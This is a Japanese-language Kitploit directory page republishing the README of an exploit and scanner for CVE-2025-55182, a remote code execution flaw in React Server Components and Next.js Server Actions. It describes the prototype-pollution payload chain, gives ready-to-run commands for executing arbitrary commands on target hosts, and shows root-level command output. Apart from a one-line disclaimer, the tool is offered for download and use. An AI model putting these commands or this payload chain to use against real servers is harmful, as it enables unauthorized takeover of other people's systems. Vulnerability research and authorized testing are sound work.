Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface | Kitploit
ツール/GitHubGitHub/sickwell/cve-2025-55182
Vulnerability ScannersCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubsickwell/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface

リポジトリを見る
1368ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React & Next.js Server Actions RCE エクスプロイト

React/Next.js Server Actions における CVE-2025-55182 のフル機能のリモートコード実行エクスプロイトおよびスキャナー。

元のPoC: Spritualkb/CVE-2025-55182-exp

概要

CVE-2025-55182 は、React Server Components における重大なプロトタイプ汚染の脆弱性であり、リモートコード実行を可能にします。このリポジトリは、自動スキャン(Nuclei テンプレート)と手動エクスプロイト(Python スクリプト)の両方のツールを提供します。

脆弱性の仕組み:

エクスプロイトは、React Flight Protocol のデシリアライズにおけるプロトタイプ汚染を利用します。"$1:__proto__:then" を介して Object.prototype.then を汚染し、_formData.get を "$1:constructor:constructor" に設定して Function コンストラクタへのアクセスを取得し、その後 _prefix を介して悪意のあるコードを注入し、Function() によって実行されます。

ツール

1. Nuclei テンプレート(cve-2025-55182.yaml)

id コマンドを実行し、X-Action-Redirect ヘッダーを介して出力を取得する自動脆弱性スキャナー。

使用方法:

root@kitploit:~
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml

特徴:

  • テストコマンド(id)を実行して RCE を確認
  • レスポンスヘッダーからコマンド出力を抽出
  • 複数の検出指標(ステータス 303、リダイレクトヘッダー、エラーパターン)

2. Python RCE エクスプロイト(CVE-2025-55182.py)

任意のコマンドを実行し出力を取得するフル機能の RCE エクスプロイトスクリプト。

使用方法:

root@kitploit:~
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"

特徴:

  • 任意のコマンドを実行
  • X-Action-Redirect ヘッダーからの自動出力抽出
  • HTTP/HTTPS および IP:PORT 形式のサポート
  • SSL 証明書検証バイパスオプション
  • クリーンでフォーマットされた出力

テスト結果

Nuclei テンプレート

root@kitploit:~
$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml

[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.

Python エクスプロイト

root@kitploit:~
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"

============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================

[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...

============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------

============================================================
[*] Exploitation attempt completed
============================================================

影響を受けるバージョン

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: 15.x, 16.x(Server Actions を使用する App Router)

クレジット

  • 元のPoC: Spritualkb - CVE-2025-55182-exp

参考文献

  • React セキュリティ勧告
  • Next.js GitHub

免責事項

教育および許可されたテスト目的にのみ使用してください

ツールをダウンロード